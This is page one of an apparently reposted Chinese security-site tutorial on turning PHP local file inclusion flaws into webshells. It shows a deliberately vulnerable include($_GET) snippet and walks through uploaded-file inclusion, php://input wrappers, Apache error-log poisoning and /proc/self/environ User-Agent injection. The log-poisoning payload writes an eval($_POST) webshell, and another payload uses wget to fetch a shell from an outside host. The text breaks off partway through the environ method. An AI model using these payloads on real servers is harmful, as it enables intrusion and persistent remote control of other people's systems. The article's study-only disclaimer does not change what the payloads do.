欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

PHP安全之LFI漏洞GetShell方法大阅兵

来源:本站转载 作者:佚名 时间:2011-10-04 TAG: 我要投稿

 Author:LengF   Blog:www.81sec.com     

0x00 题外话
关于PHP中LFI(Local File Include,本地文件包含)漏洞很多朋友都不是很熟悉,其实网络上有很多这方面的资料,特别说国外的paper。虽然很多资料讲得不是很详细,但是大家都懒得去测试,本文就给大家总结下,并讲述完整的利用方法。[separator]
0x01 LFI的GETSHELL思路
在讲述如何利用LFI来或者webshell之前,不得不提醒大家php5.3.4中截断的bug已经修复了,所以在一些情况下不能成功利用也不要奇怪。
1.包含上传文件
只要目标服务器支持上传,不管是jpg,txt,gif等都可以,在其中包含一句话木马即可,这种方法很简单没什么可说的。
2.包含data:// 或者php://input 伪协议
利用该方法的前提是php.ini中allow_url_include=On,另外必须支持php://filter伪协议
我们来尝试这样一种情况,假设有文件包含漏洞代码如下:

<?php
$query=$_GET[‘p’];
Include($query);
?>

在allow_url_include=On就是远程文件包含了,假设这里为off,那就只能本地包含了。那么我们如何利用,我们就来谈谈利用PHP Input/Ouput Wrapper获取webshell了。我给大家写了一个利用程序,如图01:


这个漏洞的利用就到此了。这个漏洞对于php5.0以下有效,5.3测试失败,其他大家自行总结。还是比较鸡肋,不过不亏为一种好思路。
3.日志包含log日志文件
日志包含,这个还是比较实用的,一般apache或者其他的日志都会比较大,而我们为什么能通过日志getwebshell?比如apache,当我们访问一个网站的网页时,页面出错,服务器会记录访问的连接地址,如果我们带入恶意的代码那么这个就会被包含在日志文件中。所以我们一般的利用步骤是:
首先访问一个不可能存在页面并且携带恶意代码,比如邪恶代码为:

<?php fputs(fopen("/www/shell.php","W+"),"<?php eval($_POST[a]?>";?>

将它转换为url编码,然后访问
http://www.81sec.com/+urlencode(邪恶代码)
这个页面肯定不存在,那么在错误日志中就会形成一条这样日志,接下来,我们就包含这条日志:
http://www.81sec.com/test.php?p= ... pache/www_error.log
apache路径需要自己去猜解,我这里只是给个实例,访问后就会生成一个shell了。
4.包含/proc/self/environ环境变量
个是利用Linux中的环境变量作为基础,很多时候这个方法行不通,因为没有/proc/self/environ的访问权限.同读取/etc/passwd一样,如果

你访问/proc/self/environ有如图02:



看到这个代码就知道为什么利用这个Linux的环境变量,这里会有用户访问web的session信息,其中也会包含user-agent的参数,这个参数你浏览器名称的参数。而这个参数在我们客户端是可以修改的。
对于上面的LFI代码,我们可以这样利用:
http://www.81sec.com/test.php?p=../../../../proc/self/environ
如果能得到上图类似的内容说明有权限,就可以利用下面的方法得到webshell,我将两种方法。
方法一:借助firefox的插件user agent switch
利用方法很简单也很方便。我们先构造好自己的邪恶代码:

<?system('wget http://81sec.com/shell.txt -O shell.php');?>

[1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载